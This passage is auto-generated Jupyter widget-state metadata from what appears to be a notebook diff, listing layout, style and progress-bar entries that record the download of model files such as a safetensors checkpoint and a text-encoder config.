"_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5056e439bb4b4bad8b0694c79138424f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51605e182e344a94a99c50fcaaef17b1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51890b032fbb48139e11d69850a6db57": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51b27a7dc0d34dd09b1ea17aba1fb697": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "52403e4bc442416fac24e0880f2a3faf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5248a6e5d8044c53803426afaf2439af": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d50a15bbc94f49c39941bacd8c7b99ba", + "placeholder": "​", + "style": "IPY_MODEL_a8dcc8f3435a4870a76be1729b003b6f", + "value": " 492M/492M [00:06<00:00, 101MB/s]" + } + }, + "527478832a8e451ea056c50ee2b241ab": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "52a201ace1f647059d93e5d9406afee5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "53774d0251ea4e4a884fc265a5ce561b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e116ebfa368d424ca64eea23a82ef959", + "max": 489648389, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_2b92efb0492b4af6b50e2d5754212b5c", + "value": 489648389 + } + }, + "54746d0ef2e7453faddcc3b6066def51": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5494938bff7d4c6da3d82f1034404362": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5532a6b6181a4aecbfca636813b661fd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "554525ce609044b68804e97c6b45c510": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0d45fef5bbf447938e7621e77207e1ae", + "placeholder": "​", + "style": "IPY_MODEL_681be606b86c42fd9cad68e63e2782de", + "value": "Fetching 13 files: 100%" + } + }, + "55e0a986be424043846c0e863158a1bd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "55f31f27ce954a0c8c0d1e63938c7bc0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_452c129fabca48efa832b81481703bab", + "placeholder": "​", + "style": "IPY_MODEL_6e327baf7a9144fcaff7c6317d018862", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "55fe364a57aa4eaa93cb93b889d241c5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_978a0bae9c5f4ab7ac45f1f4f870fef0", + "placeholder": "​", + "style": "IPY_MODEL_233120cc0399483ea17284432feb16d3", + "value": " 472/472 [00:00<00:00, 2.36kB/s]" + } + }, + "56cc25e58ea3445f9135817143224d2c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "57216de8dfcc4ab78bfb8c41fae856b4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c85b3e0dd20f414181d768cac5c9ab4e", + "IPY_MODEL_53774d0251ea4e4a884fc265a5ce561b", + "IPY_MODEL_30cdb95dd5d746b1adacaaf823b21b89" + ], + "layout": "IPY_MODEL_bfd0a68276654b4997b802bc6d47f684" + } + }, + "57420a6e093c4de9845db953b8e0269b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_589f9b88c3c746dd9aead96a6ef56fee", + "max": 806, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_4bf53145f39644d2bf5c3e31f9f23b1a", + "value": 806 + } + }, + "5837463f803c4c93b91a21d9854ae574": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cb157284f72d428fb786527ce87d11a2", + "placeholder": "​", + "style": "IPY_MODEL_24030dedd2f24e2cbfa3833249d09810", + "value": " 342/342 [00:00<00:00, 4.08kB/s]" + } + }, + "5850294bc56d489cb8eb90483f77254e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "58657e2570434d73be122eafb42f490a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "589f9b88c3c746dd9aead96a6ef56fee": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "58c63ae0605a4f1192c52e4306602fd7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5b6fcc006e8b47c4a416e38991201a42": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2caabb6f82ef46ecbda6c0baf215d72a", + "placeholder": "​", + "style": "IPY_MODEL_f1e983f41294422087b5be9a9df11fa3", + "value": " 13/13 [00:28<00:00, 2.82s/it]" + } + }, + "5c428d2de97f4bc28835ead1f6331e9e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b08e7b6e25c24054ac5b2b18bcb6f2ae", + "placeholder": "​", + "style": "IPY_MODEL_5532a6b6181a4aecbfca636813b661fd", + "value": " 617/617 [00:00<00:00, 4.84kB/s]" + } + }, + "5cbe59686c0d475a8e2274ffcb64d992": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5e144bb789054a88a43db4329bb2df05": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5eca9f78607349a9893b0c88f3c53181": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5f012cede7a0405fbb12550072bccbc2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5fc991cde70546d3a665982956cca6b5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2dc4775bcef749b7bbbb3f71d714211c", + "max": 541, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_838cb3152f3c48ec814de02def9b75f2", + "value": 541 + } + }, + "600acc1527c4482fb7307f2d423a0a01": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f16aa25f9d2b49cc87cde26cf7dc316f", + "max": 1445157124, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a263feafcec44c2eab4150af170d670a", + "value": 1445157124 + } + }, + "6055afd2e29c42e09d5f923c34cf1579": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "60ebb0e8c1174c839a26182b38d4ae9b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "611bde262a924746a253ab5481b9b212": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7267e3d447ef4dfa97c3fc6a560ea797", + "placeholder": "​", + "style": "IPY_MODEL_2bc90ab8db7b4f979ff0cb5eb01284a6", + "value": " 335M/335M [00:04<00:00, 82.3MB/s]" + } + }, + "61e2139115904b94967c220fd214b5df": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_847b736c058c47f9adf366c4bb920a0d", + "placeholder": "​", + "style": "IPY_MODEL_a1b45d2ecbe44a158b7a0e2f818922ae", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + "6224c6c1d4b145ed86564e7d62fbe4c2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "629f9b2f0b79420ba0baeb5961df73da": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": 